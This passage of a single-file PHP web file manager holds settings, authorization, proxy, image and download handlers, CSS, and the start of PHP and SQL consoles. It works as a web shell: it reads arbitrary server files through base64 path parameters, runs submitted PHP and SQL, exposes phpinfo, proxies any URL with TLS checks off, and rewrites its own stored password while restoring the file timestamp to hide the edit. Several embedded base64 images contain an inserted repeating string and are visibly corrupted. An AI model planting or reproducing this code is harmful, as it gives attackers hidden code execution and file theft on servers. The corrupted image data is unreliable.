		         $msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 

		         if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		         $fm_login = json_encode($_POST['fm_login']);
		         $fgc_check = file_get_contents(__FILE__);
		         $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);

		         if (!empty($matches[1])) {
		         	$filemtime = filemtime(__FILE__);
		         	$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                            
		         		         $msg .= __('File updated');
		         		         if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
		         		         if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
                            
		         		         $auth_local = $_POST['fm_login'];
                                        
		         	}
		         	else $msg .= __('Error occurred');
		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		         }

	} elseif (isset($_POST['tpl_edited'])) { 
		         $lng_tpl = $_POST['tpl_edited'];

		         if (!empty($_POST[$lng_tpl.'_name'])) {
		         	$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		         } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

		         	$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		         }
		         if (!empty($fm_php)) {

		         	$fgc_check = file_get_contents(__FILE__);
		         	$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
		         	if (!empty($matches[1])) {

		         		         $filemtime = filemtime(__FILE__);

		         		         $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check);
		         		         if (file_put_contents(__FILE__, $replace)) {
		         		         	${$lng_tpl.'_templates'} = $fm_php;

		         		         	$msg .= __('File updated');

		         		         } else $msg .= __('Error occurred');

		         		         if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                             
		         	}	

		         } else $msg .= __('Error occurred');
                                
	}

}

                                        
// Just show image

if (isset($_GET['img'])) {
                             
	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){
                                  
		         switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

		         	case 1: $ext='gif'; break;
                                        
		         	case 2: $ext='jpeg'; break;

		         	case 3: $ext='png'; break;
		         	case 6: $ext='bmp'; break;
		         	default: die();
                            
		         }
		         header("Content-type: image/$ext");
                             
		         echo file_get_contents($file);
                              
		         die();

	}

}
                                  


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);
	fm_download($file);	

}



// Just show info
                                 
if (isset($_GET['phpinfo'])) {

	phpinfo(); 
	die();

}


                         
// Mini proxy, many bugs!
                                        
if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) {
                                   
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
                         
	<input type="hidden" name="proxy" value="true">
                                 
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {
                                 
		         $ch = curl_init($url);

		         curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		         curl_setopt($ch, CURLOPT_HEADER, 0);

		         curl_setopt($ch, CURLOPT_REFERER, $url);
                            
		         curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		         $result = curl_exec($ch);

		         curl_close($ch);

		         //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		         $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		         $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		         echo $result;
                            
		         die();

	} 

}
?>
<!doctype html>

<html>
<head>     

	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />

    <title><?=__('File manager')?></title>
<style>

body {

	background-color:	white;
                               
	font-family:		         Verdana, Arial, Helvetica, sans-serif;
	font-size:		         	8pt;
                                   
	margin:		         		         0px;
}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

                               
table.bg {

	background-color: #ACBBC6

}
                        


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:		         		         25px;

	background-color:	#006699;

	color:		         		         #FFA34F;
                         
	font-weight:		         bold;
                               
	font-size:		         	11px;

}



.row1 {
	background-color:	#EFEFEF;

}



.row2 {

	background-color:	#DEE3E7;
                                   
}

                                        
.row3 {
	background-color:	#D1D7DC;
                            
	padding: 5px;
                                  
}


                                  
tr.row1:hover {

	background-color:	#F3FCFC;

}


                                    
tr.row2:hover {

	background-color:	#F0F6F6;
}
                                


.whole {

	width: 100%;

}


                                        
.all tbody td:first-child{width:100%;}



textarea {
                           
	font: 9pt 'Courier New', courier;

	line-height: 125%;
	padding: 5px;
                                        
}

                               
.textarea_input {

	height: 1em;

}
                                


.textarea_input:focus {
                          
	height: auto;

}


input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}
                        


.folder {

    background-image: url("data:image/png;base64,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");
                                    
}
                                        

.file {
                            
    background-image: url("data:image/png;base64,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");
}

<?=fm_home_style()?>
                                       
.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

    #fm_table td{display:inline;float:left;}

    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                     
	#header_table table td {display:inline;float:left;}

}

</style>

</head>
                                      
<body>
<?php

$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">
                                        
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
                              
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                     
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
                                       
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
                                        
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>
                           
</table>
<table>

<form method="post" action="">
                                        
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
                           
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>
</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {
                                 
	die($proxy_form);

} elseif (isset($res_lng)) {	
?>

<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                  
<tr>

    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
                              
	if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');
                                  
	?></td></tr></table></td>
</tr>
                                       
<tr>
                         
    <td class="row1">
                               
		         <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		         <form action="" method="POST" name="console">

